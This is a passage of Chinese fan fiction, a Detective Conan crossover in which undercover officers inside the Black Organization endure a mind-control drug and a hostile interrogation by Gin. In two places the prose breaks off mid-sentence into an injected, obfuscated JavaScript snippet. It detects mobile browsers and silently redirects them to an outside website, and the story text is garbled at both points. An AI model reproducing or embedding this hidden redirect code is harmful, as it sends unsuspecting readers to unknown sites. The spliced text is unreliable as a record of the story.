再回到这句话本身,虽然听起来很像宏大叙事泯灭了个体的存在,却也只是他现在唯一的办法了。 【为了一切的正义,和不必要的牺牲。】 【我们是在救更多的人。】 要快。 要更快。 竹取无尘睁眼,平静地盯着门窗,那里无人经过。 明天就是第六十天了。 会发生什么呢? 他不知道,也猜不出,他没有什么预卜先知的能力。 不过他会赢。 琴酒啊,你一定要、给他一个能尽情发挥的舞台啊。 8. 第 8 章 023 “你说,他为什么这么做?”降谷零拉上安全屋的窗帘,从水壶里倒了杯水——自从珀洛塞可杀了干邑被带走后,他就看着自家幼驯染忙前忙后,一面处理着上次居民楼狙击的收尾报告,一面给公安上级解释珀洛塞可的近况。 “他不像是真的把干邑认成组织敌人的那种人。” ——倒像是很确认对方是干邑,所以反手把人干掉了。 不过一个公安卧底会这么冒进吗? 降谷零皱眉。 窗户没有关严,有风在窗缝隙里呜呜咽咽。窗帘被吹开一个小角,外面没有光亮撒进来。 是黑夜。 “你问我我也不清楚啊,zero。” 诸伏景光走近降谷零身边,接过水杯,捞起窗帘重新把窗户关严,转身和自家好友并排靠在窗台边。 “我也只比你多见过他一面而已。” 猫眼青年略带苦涩的笑,喝了口水润了润嗓子,又说:“但他可能确实是个冒进的性格。” 他想起在书屋见面那天,光是打了两句太极就迫不及待进入主题的竹取无尘。 “他的节奏很快,他容易着急。”诸伏盯着手握着的杯子,水面很平稳,折射着室内的灯。“那天我的狙击镜看不到他,他做事行动的风格怎么样?” “很利落。”降谷零歪头看着诸伏的侧脸,眉头依旧拧在一块。“他四分钟之内就杀死了七个人,其中三个还持有枪械。” ——那飞速从脖颈划过的刀,精确切断了人赖以生存的气管,事情突发得连他都没太看得清那刀是怎么切过去的。 “他可能不太会近身攻击,面对所有的进攻都以闪避为主,然后把对方一刀毙命。” “警校会教这些东西吗?” “你觉得他有问题?”诸伏景光看着那双灰蓝的眼睛——在这片压抑的黑暗里,他为数不多能信任的颜色。 “但是他如果有问题的话,我不可能还好好地站在这里。” 一个枢纽、一个支点。 在那天见面后,诸伏景光成为了确认对方是否还归于警方的最佳检测仪。 降谷零摇摇头。 “要有问题也不是这方面的问题。” 谈话一时间停了下来,窗户关严之后再没有风声,室内有淡淡的柑橘香。 “先不谈这个了。”诸伏景光在屋内踱步两圈,又停了下来。 “伏特加给我发了消息,让我明天在安全屋等着。” “可能是代号有关的事情。” 降谷零想到了什么,眉头锁得更紧了:“明天有很大的可能性,你也会被给到那个药。” 那天,降谷零成为波本的那天,贝尔摩德拿给他了一颗蓝色的药丸,和一份视频——那个女人当着他的面点开,让他好好欣赏,然后决定是吃药还是去死。 视频是一份二十分钟的记录,不长不短,内容却跨越了将近一年,视频主角在一年前服药,中途穿插了几次在实验室的化验过程,直到最后,他看到视频主角一脸空茫地站在众人中央。 “你在组织里是否还有同僚?” “是的,我有。”机械制的声音从电脑扩音器中传出。 “指出来。” 男人抬手,指向了最边上的女性,和靠在桌子边上的寸头男性。 “杀了他们。” 视频内一时间乱成一团,那个服药的男人在收到指令的第一时间就掏枪,子弹击中寸头男性的肩胛骨,另外一位被指控的女性飞速上前反击,试图抢下视频主角的枪支。 “为什么!川上!你为什么———”男性质问的话被胸口的血洞打断。 ———为什么、你为什么会背叛我们、背叛我们的国家? “川上!你想想你的家人!”缴械失败,女性闪躲开了从她面前破空袭来的子弹。“他们明明是死在这个组织手上的啊!” 声音到了最后已经变成了嘶吼,却像掉入深谷的石块一样,得不到回音。 一潭死水。 到了最后,只剩下围观的人群,两具尸体,一具行尸走肉。 视频放完了,降谷零觉得自己嗓子有点干痒:“呵,这算什么?舞台剧吗?” “啊啦,波本。”贝尔摩德坐在降谷对面,把有些挡住视线的发丝别到了耳后。“你很清楚这是真的,对吧?” 她笑着。 “不过只要你不是那些讨人厌的条子,这个药吃了也没什么太大的关系。” “等你彻底获得了boss的信赖,解药、金钱、地位——甚至是———” 贝尔摩德点了一根烟送进嘴里,任由尼古丁在吐息间酝酿。 “你都会有的。” 降谷零看着面前的枪和药,他也笑了一声。现在的他总算知道,为什么公安派进来的人,每过一段时间,都再无音讯了。 一颗毒药而已。 诸伏景光看着沉默许久的幼驯染,出声打断了对方的思绪。 “你在想那个视频的事情吗?” 金发青年回神,缓慢地点了点头。 “我上次送到公安化验的缓释解药快有结果了。” 未知的事情太多,要考虑的事情也太多,那是一把悬在每个人头顶上的利刃。 猫眼青年自然知道好友在焦虑什么,但是对于此,他们都无能为力。 “这是没办法的事情,zero” “那个药,我也会吃的。” 哪怕知道了会发生什么,这也是他唯一的选择了。 这是一条不能回头的路。 ———他们都无能为力。 “不过!”降谷零闻声抬头,看着诸伏景光那双蓝眸中流露出易察觉的关心。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427645|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不按照给的剂量吃缓释药真的没事吗?” “没事的。”降谷用安抚的语气回答。 “那天我联络了风间他们,我所有的行动和状况都在公安的眼皮下进行,我给 他们说,要是我出现了任何异常,或者隔日没有再联系他们,那就——” “那就立刻把我抓捕。” 甚至击杀。 不过他没有补上这句话。 “还好,我只出现了短暂的头痛,没有别的问题。” 一时无言,空气再次陷入寂静。 “好。”诸伏景光缓缓从喉咙里吐出这个字。 “公安还完全信任你,真是太好了。” ————公安还完全信任你。 在降谷零之前,没有搜查官向公安报告过蓝色药丸的作用。 在降谷零之前,所有搜查官都莫名了无音讯。 他是第一个、吃了药、如实向公安报告的人。 因为他完全信任公安。 不对。 降谷零灰蓝的瞳孔猛一缩,抬头和好友对视。 “你给珀洛塞可说过你的名字吗?” “嗯…碧川光?”诸伏景光眨眨眼,有点没跟上对面的节奏。 “当时他也跟你说他叫石原木是吗?” “是的,假名。”警视厅内部没有这个名字。 “你觉得他没有信任我,因为我也没信任他。”猫眼青年紧跟着接话。 “警察厅那边从来没有传来过那个药的消息——前任搜查官不信任上面的人。” “警视厅也从来没有给我递过有关药物的讯息。你觉得他也没有如实给上级报告。” “这代表他是个多疑的人,这没问题。” “再从他的视角推测,已知条件是他做事节奏快、冒进、多疑,在已经有了他这个卧底的情况下,上级依旧派我出面和他接触,这给了他一个什么信号?” “他会以为上级不信任他的能力,需要两个人打配合,一个人冲锋陷阵,辅助另一个人在内部深藏,获取更多情报。” “他会以为上级不信任他的忠诚,怀疑他要跳反,他会以为我是来监督并判断他有没有被组织收买的。” “就算不是这样,我给他报的假名,也足以代表我们确实不敢完全信任他。” 诸伏景光接住了降谷零的节奏,开口分析。他想起那双沉黑的眼睛,在小提琴的旋律中和他对视。 “你的意思是。” 他抬头,看着金发好友从一开始就没有放松过的眉头。 “他用干邑的命,充当了他的投名状?” 这是一个信任与不信任的命题。 024 难得安稳的夜。 竹取无尘把头埋在枕头里,一夜无梦。 丝毫不知道自己的算盘已经全被同僚们清算了个干净。 9. 第 9 章 025 一夜的好眠。 如果没有一睁开眼,就看到琴酒那张脸的话会更好。 竹取无尘刚把头从枕头里抬起来,就这么和站在门口的琴酒猝不及防地来了个对视。 竹取无尘:………… 竹取无尘:“大人您……来了可以直接把我喊醒的。” 还是他:“您不用特意等我醒过来的。” 确实只是刚好走进来的琴酒:……… “自己出来,跟着。”银发杀手算是摸清楚了眼前这人嘴贱的风格,并不打算搭理什么,从兜里掏出手/铐钥匙甩给了对方,然后转身就走。 竹取无尘看着琴酒敞开大门走了出去,自己面无表情地反手解开手/铐,双手插兜走出了这个他睡了七天的超低评分旅馆。 雪莉还坐在拐角的办公室内,竹取透过门上的玻璃窗看见的,从那天不愉快的谈话之后他们之间就再没有交流,现在看起来也不会有一个愉快的告别。 他再次环望整个基地,双手放在裤兜——其实他想揣进上衣的兜里,但是找了半天发现自己套着的是衬衣,只能遗憾作罢。整个办公室、实验室、禁闭室大约是构成了H形,他们正在最外的拐角,无法得知深处的详细构造。 “还在看什么?”琴酒在电梯口点燃了烟,火星在不算明亮的走廊闪烁。 “好歹住了一个星期呢,大人。”黑发青年笑咪着眼,记住了整个基地的布局,便不再回望一毫。“还挺有感情的。” “想死你就多来住几天。” “大人您说笑了。”竹取无尘根本没把琴酒的狠话放心上,他继续嘴贱道,“还真是劳烦您特地来接我,大人您真是个好人。” 其实是来找雪莉拿药顺便把雪莉威胁了一大通的琴酒:……… 银发杀手低声笑了,他的烟蒂燃到了尽头,最后一口吐息之间,火光明灭,烟雾婉转。电梯到达,衔接了两人的对话。 二人前后脚走进,又走出电梯。 初秋了,太阳是明丽的橘黄,这个季节总有着不属于它的生命力。 “希望你等会还能吐出这样的话。”上车前,琴酒睨了一眼在后面盯着大太阳看的竹取无尘。“我很期待。” 竹取无尘收回目光,重新看向琴酒,以及坐在车里准备开车的伏特加:“当然,大人。” 他眼角弯了弯。 “我也很期待。” ————今天是第六十天,我也很期待,你会给我一个什么样的舞台。 他又跟着琴酒一屁股坐上了伏特加的车,不知道为什么,来到了这个世界之后,他就一直在坐伏特加开的车。 青年坐在后排,透过车内后视镜,打量着伏特加,这次他又带着帽子和墨镜,不过洋子小姐近期应该没有专辑再贩———这次伏特加的心声很安静。 “诸星大和碧川光那边呢?”银发杀手开口,不知道是不是错觉,他总觉得声音里有一丝丝疲惫。 “安排波本那边送过来了。” “雪莉要的资料?” “通知执行二组那边邮件抄送了。” “贝尔摩德那个女人呢?” “她刚回到日本,大哥。” 不是什么很重要的对话,所以对方也没有刻意避开竹取无尘,他也就在后排不咸不淡地听着两人的对话———或许不是他的错觉,琴酒好像真的很忙。 这个组织就剩琴酒一个能干活的了? 竹取想到完成考核任务第一天在马路上逮到自己的琴酒,想到获得代号第一天给自己THK004的琴酒,想到凌晨四点通知自己药剂任务的琴酒,想到干邑死亡后第一时间来到现场的琴酒,想到刚刚睡醒就直接和他突脸对视的琴酒。好多琴酒。 ————是的,这个组织就剩琴酒一个人能干活了。青年点头表情肯定。 那是不是把琴酒干掉这个组织的执行组就直接散架了?竹取无尘直接抓住关键要点,思考现在从后排直接把琴酒脖子抹了的可能性。 好吧,他现在身上没有带刀——所有的刀都在进禁闭室的时候被收走了,连他藏在衣领下的备用刀具都被琴酒摸出来丢了。 更何况——竹取回想着警方给自己的主要任务——上级那边好像也不是很在意这个组织的执行组,哪怕他们行动做得再过火,官方也只保持着维//稳,不作为就是最大的作为的态度。连他们搜查官拿到的大部分任务都只和经济系统、医药系统有关。 比起恐/怖/袭/击,他们好像更关心这个组织在研发什么,在和谁交易,牵扯到哪些官僚和企业,谁是官方能用的,谁是官方要放弃的,谁是官方要抓捕的。 啧。 万恶的资/本/主/义国家。 ————上辈子活在阿蒂斯联邦合众国,那个并没有比日本好到哪里去的国家的竹取无尘看着九十年代末的街头,这么想着。 街景很快消失了,转进组织实验室内部弯弯绕绕的停车库——竹取来过这里,在吃下THK004的第一天。 车在水泥地上停稳,琴酒一言不发地下了车,撇了一眼在后排安坐的竹取无尘。感受到对方视线的黑发青年也配合地下了车,同样沉默地跟着杀手上楼,看着对方按开密码锁,进入一个纯白空旷的密闭房间。 其他人应该是还没有到。 竹取无尘打量着这个房间。 有一股甜腥的味道。 “扑通。” 不对劲。 “扑通。” 心脏好像掉进了腹中。 “扑通。” 026 “gin,人我给你带到了。”昨晚根本没从幼驯染安全屋离开的降谷零一觉醒来就看见了任务,马不停蹄地载着好友和一个看着就不像好人的长发男性赶到了这里。 “我就先走了。” “慢着,波本。”琴酒现在心情好像不错,示意对面把碧川光和诸星大的头套摘下。 波本刚帮二人拿下头套,就听到这么一句话。 “既然来了,那就留下一起看吧。” 琴酒抬了抬下巴,示意三人看向站另一边的珀洛塞可。 三人不明所以地把目光投向珀洛塞可,平时一脸笑意的青年正低头,紧紧皱着眉,弓着身子贴着墙,仿佛这是支撑他站立的唯一倚仗。 如果是平常的珀洛塞可,他应该已经扬起那副讨打的笑脸,毫无顾忌地挑衅所有人。诸伏景光这么想。珀洛塞可现在很难受。 诸星大,或者说优秀的FBI探员赤井秀一,他正打量着面前五人间凝滞的气氛。 琴酒和伏特加他清楚,FBI给的资料里面重点标注了他们两个,不过另外三人——波本、珀洛塞可、和这个应该是和他一样还没获得代号的猫眼青年。 绿色的瞳孔在五人之间打量,并不清楚到底发生了什么的优秀卧底决定静待事情发展。 “这是第六十天,他还没有吃缓释药。”琴酒从伏特加手上拿过两粒玻璃小瓶装着的THK004,甩到诸伏和赤井二人手上。 “他上周在任务中杀死了干邑,你们说,他会不会是老鼠。” 琴酒笑了,狭长的绿眸仿佛淬了毒。 “不过你们知不知道,倒是都不要紧,他———” 砰一声。 有人倒在了地上,打断了琴酒没说出口的话。 五人闻声望去,看见捂着胸口没站稳,跪倒在了地上的珀洛塞可,如果他没有用另一只手撑着自己,现在怕是已经整个人趴下去了。 “———他会老实说出来的。” 三位卧底的眼皮同时一跳。 “…………” 很痛。 从心跳开始,痛感顺着血液爬满了全身,内脏仿佛尖叫着打结,呼吸带来的空气像把人拖着在山地里打滚,尖锐的石块一下又一下打磨着肺,千百根针从胃里扎进去,又穿着线缝出来,带动着表层的皮,不自觉地往各个方向扭。 呼吸。呼吸。 ————“你应该猜得到阿蒂斯的人被他们发现了会有什么下场。” 低级、好低级的手段。 “呵…呼…”珀洛塞可听到自己的声音在发抖,室内开着冷气,他的汗却止不住往下流。 “问呗,琴酒,你…呵…你想问…什么?” “你不会觉得,这点…痛…能让我说出点不一样的东西吧…哈…” “不一口一个大人的喊了?” 琴酒走了过去,锃亮的皮鞋直接踩在珀洛塞可的肩上,玩味一般地顺着力把青年往旁边一踹。 ————“你应该不会想知道仇恨会让一个人充斥着什么样的韧劲。” “咳……咳咳……” 失去了支撑的珀洛塞可滚了半圈,呛了一下,俯趴在地上,头埋在手肘间,隐约可见他紧攥着的发白的手指,汗浸湿了白衬衣,帖在绷紧的后背上,显现出老旧的已经愈合的疤痕,正附着呼吸节奏缓慢起伏。 他调动着全身的力气,每动一下都抽动着不同的器官,身体里有东西正在烧灼,那火焰蜿蜒爬行着每一寸肌肉的角落,光是挪动一下手臂,就像有一把锯子,锯木头一样,割裂开自己的身体。可他偏要撑着,指尖快要扣进地板,努力让自己不显得太狼狈。 “妈的……” 他的眼前一阵黑,又闪着白光,牵拉着花花闪动的雪花斑,他想抬头看着琴酒,却又败于控制自己的力气,视线晃得厉害,只能看见对方黑色风衣的下摆,在空气中垂着,带着压迫感。 ————“这是战争,竹取,这是战争。” 痛而已。 只是身体的痛而已。 每当把自己当成另外一个人,就仿佛自己转换成了第三视角,在半空中看着自己的演出。 只是痛而已。 忘了自己是谁就好了。 呼吸。呼吸。 “你…你他妈的…额…呼…有屁快放。” 嗓子里像堵满了棉花,涨着整个气管。 “嗤。”琴酒把手放回黑色风衣的兜里,居高临下地看着地上挣扎的人。 “那你再说说,那天你为什么要杀干邑。” “靠……” 珀洛塞可费力地从嗓子里挤出这个字眼,也许这样就耗费了他大半的力气,他又停了下来,双手勉强撑着地,调整着呼吸。 “我都说过了…是那个男的…他自己突然…呼……突然扑上来抢东西……”神经像被啃噬,讲话声断断续续。“本来……上班就…他大爷的…心烦……呼……” ————“我们是在救更多的人。” 本来就已经说不明白话了,还非要往句子里加脏话。 琴酒真的笑了。 “是吗。”银发杀手一边搭话,一边带上医用手套,从箱子里拿出针剂。 一直在围观的降谷零看见琴酒手上的针剂,心猛地一沉。 那是珀洛塞可上周刚抢回来,还没来得及向公安上级报告其用途的针剂。 “你到底…还要问…额……”未出口的话被琴酒的动作打断。 杀手直接拽起珀洛塞可的头发,把整个人从地上半提起,强/迫对方仰头,露出脆弱的脖颈。 珀洛塞可试图逃开琴酒的手,却只是在那只手里转动了一下头,他闭眼,索性直接放弃。 “他自己扑上来的?” 琴酒的双指隔着手套在青年脖子上摩挲,卡准了那根正在强有力跳动着的血管,冰凉的液体刺入滚烫的皮肤,他觉得自己的心脏在眼睛里跳动。 男人随手一松,手上的人脱了力,一下摔在地面上,没有再动弹。 呼吸。呼吸。 无人说话。 所有人都听着青年突然急促又放缓的呼吸声。 世界一瞬间从三维的空间塌成了一个原点,又被扯成一条线,顺着法向量一路上滑,然后颠倒在挂钩上。 疼痛变得温暖。 混乱。 混乱。 『过了今天之后,我还能记得你吗?』 【你不需要再记得我了】 『你是谁?』 【我曾经觉得月亮不是这样的】 『那月亮应该是什么样的?』 【………】 『他人呢?』 『洛洛溪我问你!他人在哪!』 【………】 『我是谁?』 【我是阿蒂斯官方特卫科的潜入执行官。】 『我是阿蒂斯官方特卫科的潜入执行官。』 八音盒的声音。音梳断裂了。 变奏。 竹取无尘的精神画布上,黑色的符文从最里面渗血一样渗出。 黑发青年猛然睁眼。 精神力值下降至70% 精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427646|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力值下降至40% 精神力值下降至10% 平稳。 这个破组织的药是来真的。 但是他不会输。 027 疼痛消失了。 那些啃咬神经的蚁虫,灼烧内脏的火焰,钻透大脑的电钻。消失了。像回到了子宫,能听见母亲的轻言细语,摇篮曲轻声地唱,抚平了被世界蹭起的毛刺。 一切都是柔软的,也许是清晨被太阳晒过的棉被,温暖厚重地压在身上,陈旧的桌椅散发着家的气味,高高的树结了黄澄澄的果,一缸清水,略微有点旧的彩窗,折射着橘黄的暖阳。 他坠落。 万物无声。 “他死了?”一直没有出声的赤井秀一挑眉,他觉得他似乎低估了这个组织的制药水平。 “没死。”琴酒甩了甩手,把医用手套丢到一边,处理好了针头。 “去把他扶正,波本。” “他现在动不了。” 降谷零略微僵硬地走到珀洛塞可边上,抓着青年的后脖颈,把人从地上捞了起来,看见了对方无色彩的瞳孔———和那些视频里的人一模一样。 年轻卧底陷入一阵事情失控的绝望。 没有任何办法,没有任何退路,他像安置棉花娃娃一样把珀洛塞可安放在地上,背靠着墙,头微仰着,看起来就像在和他对视一样。 降谷零转身退开,趁机和幼驯染交换了一下眼神,他们需要做好破釜沉舟的准备。 琴酒又点了一根烟。 他居高临下俯视着被放在墙边的珀洛塞可,出声询问。 “你的代号是什么?” “珀洛塞可。” 没有感情,没有停顿的声音从青年的喉咙里传来。 “你说你杀了干邑,是因为他抢夺你的任务物品,是否属实?” “…………” “不属实。” 轰。 在场的公安卧底脑子里有什么东西一下子炸开。 珀洛塞可翻车了?他真的被控制了?那…? 两位卧底不敢对视。 诸伏景光在所有人的目光都放在珀洛塞可身上时,捏着药品悄悄地后退到门边,以便出现任何意外,作为和竹取无尘唯一见过面的卧底,他可以掌握一线主动权。 不管是逃亡…亦或是…… “呵。”琴酒今天笑了好多次,尼古丁的气味在室内蔓延。 “那你为什么要杀了干邑?” 青年张了张嘴。 “立威。” “我需要立威,我需要成为组织高层。他自己找上门来的,这是一个好机会。” 诸伏景光:………? 降谷零:………? 等等? “继续解释。” “太无聊了,只是杀人太无聊了。” “这是一件很有趣的事情。” 琴酒冷下了脸,捏灭了烟头:“啧。” “伏特加,你继续问。” 看起来银发杀手是完全失去了兴趣。 伏特加接过这个活,知道对面摆脱了卧底的嫌疑。 “真名?” “石原木。” “你是否役属于任何情报机构?” “不属于。” “你是否受任何人指使套取并传递过组织信息。” “我从未套取或透露过任何组织信息。” “在场的另外三人中是否役属于情报机构?你只用回答是或不是。” “…………” “…………” 良久,地上的人终于憋出来了一句。 “我不知道。” 琴酒把灭了很久的烟蒂丢在地上,用鞋底撵了又撵:“好了伏特加,他过关了。” “至于你们。”他把话语对向了这场表演的看客。“那个药,要么吃,要么死,六十天来拿一次缓释剂。” “不然就等着和他一样。” 无论是赤井秀一还是诸伏景光,在这个看似二选一实际一选一的送命题里,都选择了前项。 杀手在又一次确认新人彻底吞下药丸后,头也不回地按开实验室门,走了出去。看起来是难得的好心情被破坏了。 伏特加在后面,着急地塞给波本一瓶绿色的药丸,指了指还在地上坐着的珀洛塞可:“把这个喂他吃了,然后把他随便带到哪里去都行,谢谢你啊波本。” 说罢,他也急匆匆冲出去了,很明显是去追他的大哥,却没走两步又折返回来。 “噢噢噢对了,差点忘了代号。” “你。”他指着赤井秀一,“黑麦威士忌。” “你,苏格兰威士忌。”短暂而快速的介绍结束,苦命的伏特加又重新踏上了追逐大哥的旅程。 赤井秀一看着还在他面前站着的两人:“需要帮忙吗两位?”他也许是好心出声,“我们都是威士忌呢。” 诸伏景光没回话,降谷零一言难尽地看着赤井秀一那双和琴酒一样的绿色瞳孔。 “好吧,好吧。”赤井秀一AKA卧底搜查官AKA黑麦AKA诸星大耸了耸肩,笑道:“那我们下次见。” 最后一个不明身份的人也走了。 降谷零把那颗解药塞进竹取无尘嘴里,哽得黑发青年差点跳起来———虽然他现在确实动不了就是了。 疲惫。 他是真的切切实实被组织这一堆药给按着打了一顿,精神画布差点被药物引发出连锁反应,还好他控制得够快,不然阿蒂斯就要达成换了世界也拿下一杀的成就了。 他勉勉强强撇见了自己同僚晦暗不明的眼神。 他觉得他需要晕一下。 绝对不是因为发现对面这两人好像有点生气。 也绝对不是他现在完全撑不住了。 绝对不是。 降谷零看着挣扎了一下又放弃的竹取无尘两眼一闭,直接歪在了他身上。 金发卧底又被吓了一跳,转眼发现对方还有呼吸起伏,确认不是被组织给毒死了之后,才松一口气。 他看向自己的幼驯染。 诸伏景光看向真的晕过去的竹取无尘。 气氛落入安稳的平静,外面传来鸟鸣。 诸伏景光叹了口气,说道:“走吧,带回我那里去吧。” 他们三个需要好好商量一下了。 10. 第 10 章 027 梦境的主角许久没有换人了。 竹取无尘从睡梦里挣扎着醒过来,思绪混沌,上辈子的这辈子都记忆都绕在一起,缠成一团颜色各异的毛线团,他的记忆暂停在他随口胡诌糊弄琴酒的那一段,编的谎言貌似及其跳跃而且不符合逻辑,不过对方太过于信任自己组织的药物,没有揪着他拙劣的借口不放。 那个药确实会攻击人的精神枢纽。青年想到了自己精神画布上浮现出的咒文,试图整理一下自己获得的情报。 一阵头晕,像拽着他的大脑进行了一个后外点冰四周跳,高高跳起又猛一下摔在地面。 天花板在转。闭上眼,又感觉自己在转,三维立体地转,一下变大,一下又变小。 救命,完全没办法思考。 竹取无尘感觉自己被转得有点反胃,撑着床试图靠坐起来,找寻一个支点撑住他。被子裹在身上,他有点发热。 等一下,床?被子? 他在哪? 窗户边只拉着一层薄薄的窗帘布,并不完全遮光,没有阳光打进来,但是可以判断出是白天,没有开灯,自然光透过布照亮了整个房间,微微的暖黄。 房间内只有一张床和没有放置东西的桌椅,判断不出主人的性格,可能是一个临时居住所,某个人的安全屋。 室内有淡淡的柑橘香。 青年费力地坐起,拿了一只搁置在旁边的枕头靠在后背,有了支撑之后眩晕感减少了很多,起码房间不怎么转了。 刚醒来的时候真以为自己在游乐场玩大转盘。 房间门被关上,看不见外面的布局,自己的衣服被换成了纯棉的白T恤,不再是那一件从禁闭室随便换的衬衣,身体的痛感几乎消失,不过持续性的头晕还是影响了行动能力——他觉得自己现在要是下床的话,又要趴在地上了。 一些惨痛的不体面表演的回忆正在攻击他。 他着实低估了THK004的毒性,什么毒能够直接攻击全身上下,痛得人动弹不得,再到后面那一针下去,又像把人轻飘飘地拽起来,晕晕地安抚下所有的痛楚,仿佛只要跟着问话的人走,就能得到一切的救赎。 好危险的东西,如果他没有用异能时时刻刻盯着,现在可能已经被触发的诅咒害死了。 这个世界的科技树果然不对吧。 他感知到精神力条恢复到了70%,自己可能已经睡了快有20个小时了。 至于他躺着的这里。 可能是诸伏景光或者那个金发青年的安全屋吧。 竹取无尘细细听着外面似有若无的响动,考虑着要不要出声。 “你醒了?” 竹取无尘应声抬头。 诸伏景光开门,他和降谷零早在刚刚就听到了房间里不大的响动,判断是里面的人清醒了,大致整理了一下情报,和好友走进房间。 “这里是我的安全屋,你睡了有21个小时,还有点发热,需要喝点水吗?” 猫眼青年的声音温和,但又不算自来熟,他的距离感把控得很好。 “谢谢你。”竹取无尘嗓子有点哑,他礼貌地笑了笑,“不过恐怕我现在喝不下水。” 黑发青年指了指自己的脑袋。 “组织的那个药确实够狠。” 说实话,要不是不符合物理常识,他真的觉得是对面这两个人在转。 “你真不觉得自己有点太冒进了吗?”降谷零在一边靠着墙,直接进入了主题。 “哦呀。”竹取无尘摸了摸鼻子,没想到现在变成了对方主动出击,他还以为要和这两个人再兜几个圈子。 “但是很有效,不是吗?” “你看,你出面了,你已经信任我了。” 黑色的瞳孔在诸伏景光和降谷零之间打量,这两个人的演技真的很好,如果不是他开挂,可能真的不知道要什么时候才发现这俩是一伙的。 “我要是不这么做,我们两个要很久很久才能碰面,先生。” “甚至到了那个时候,你也会因为有THK004的原因,继续不敢完全信任我。” 所以真的是投名状啊。 在一旁听着的诸伏景光咋舌。 “你们也看到了,那个药控制不了我。”竹取无尘弯了弯眉眼。“那帮人完全相信了药效发作时的发言呢。” “真傲慢啊。” 降谷零思索着,脸上是不同于诸伏和竹取的严肃,良久,他在另外二人的注视下轻笑一声,又恢复严肃。 “看来我们确实需要一起核对一下情报了。” “这里很安全,重新认识一下,你好,我是警察厅警部,降谷零。” 警察厅公安。和诸伏景光不属于同一个机构。 “你好降谷先生,我是警视厅公安部竹取无尘,你叫我竹取就好。”他示意了一下自己现在的情况,“抱歉,等我缓过来了我再和您补上一个握手环节。” 诸伏景光笑着看着这两人间的气氛终于缓和,接着竹取的话接着说:“我是警视厅公安部诸伏景光,请多指教,竹取先生。” “叫我竹取就好。” 他似乎有点执着,诸伏景光眨眨眼:“好的,竹取。” 这是他们第三次打招呼。 “不过,我们还是认为你的行动太冒进了。”猫眼青年接回幼驯染的话茬,蓝色的虹膜沉静,看不出对方的情绪。 “上面那边还没有化验出缓释解药的成分,你就没有想过,自己要是扛不住组织的药,会怎么办吗?”降谷零靠着墙,看着在床上靠着的黑发青年。 竹取回答琴酒问话时的大喘气着实把他吓了一跳。 已经是黄昏,阳光穿透了透明窗帘布打在降谷的金发上,微微的暖。 竹取无尘摇了摇头:“不存在这种情况。” 他毫不避讳地对上降谷零灰蓝色的瞳孔。 “我受过精神方面的训练,我超专业。” “受过训练?”诸伏景光忽略了那一句有点讨打的话,确认了一下自己的警视厅并没有过诸如此类的东西,“哪里的训练?” “哪里的训练啊……”竹取的手指在被子上打着圈,“一位故人的训练吧。” 他想起那双原本也是沉黑色的眼睛。 “一位故人?” “你身上有很多疤痕。”降谷想起来昨天和诸伏一起把晕过去的竹取扛回来,在给对方换衣服的时候看见的那一身的疤———甚至分辨不出是什么导致的。 “和这个有关吗?” “这个嘛,”这些疤要么是之前在瑟克尔党做任务的时候留下的,要么是逃跑的时候被敌人的异能打出来的,竹取想到一些惨痛的回忆——比如他穿过来的前一秒还有人手搓了一个激光准备轰他什么的——无奈扶了扶额。 “差不多吧,哈哈。”他干笑两声。“不过和他也没什么太大关系。” “他……死了挺久了。” 诸伏景光和降谷零都是一怔。 “他和警视厅没有关系,和组织也没有关系。”甚至都不是一个世界的人。 “这一切都只刚刚好是个巧合而已。” 眼看面前两人都思肘着不说话,对话滑向莫名沉重的深渊,黑发青年紧急转移了话题。“我会在过一会回去之后,向上级报告那个针剂的情报。” “那个针剂和THK004——就是我们吃的那个药丸——配合使用会具有很强的催眠效果,不过不至于直接把人精神给摧毁。” 降谷零点头:“那个针剂我查清了,代号AMS008,是朗姆派下医药组的新产品,被人偷偷拿去和对立商业方交易,组织为了拿回药品并震慑对面,才会有我们之前那个任务。” “那个任务完成得不错,收尾我这边全部收完了。”诸伏景光转身按开了房间的灯,“你的情况我挑挑拣拣给上级那边汇报了,这两天他们可能会联系你,需要你去检查一下身体什么的。” “麻烦你了,那边我会去联系。”自己这段时间肯定给两位卧底平白添了不少麻烦,竹取无尘捧着下巴,觉得眩晕感减少了很多,他快要恢复了,“还有一件事。” “我在禁闭室的期间,听说一个代号维洛的人是负责THK系列解剂的。” 解剂。 卧底们的眼神一凛。 事情发展到现在这个地步,先前这条路上倒下了这么多的人,全部拜这个系列的药物所赐。 如果说能拿到解剂,那么他们的情况就会不这么受制于人,无论是对于自己的上级,还是面对自己的卧底工作,情况都会好转很多。 “维洛……这个人我听说过,是朗姆派的人,和琴酒不和。”降谷零aka波本作为神秘主义者,在两个甚至多个派别之间周转,他能拿到的情报比单一在琴酒派别工作的人拿到的更多,也更杂,他需要耗费大量精力去判别真假,以便公安上级的需要。 “组织的药物研发种类很多,牵扯到的派系庞大,我会去确认相关的信息,可能需要一段时间,有消息了我会找时间告诉你们。” 太阳快沉到云里落下山,房间里逐渐只剩下暖黄的灯光。 窗户紧闭,不知道外面有没有风。 “好,等你消息。”竹取无尘这段时间除了蹲禁闭就是被药物揍,倒是无事一身轻,但是他这两个同伴看起来确实是忙得恨不得分裂三个人一起 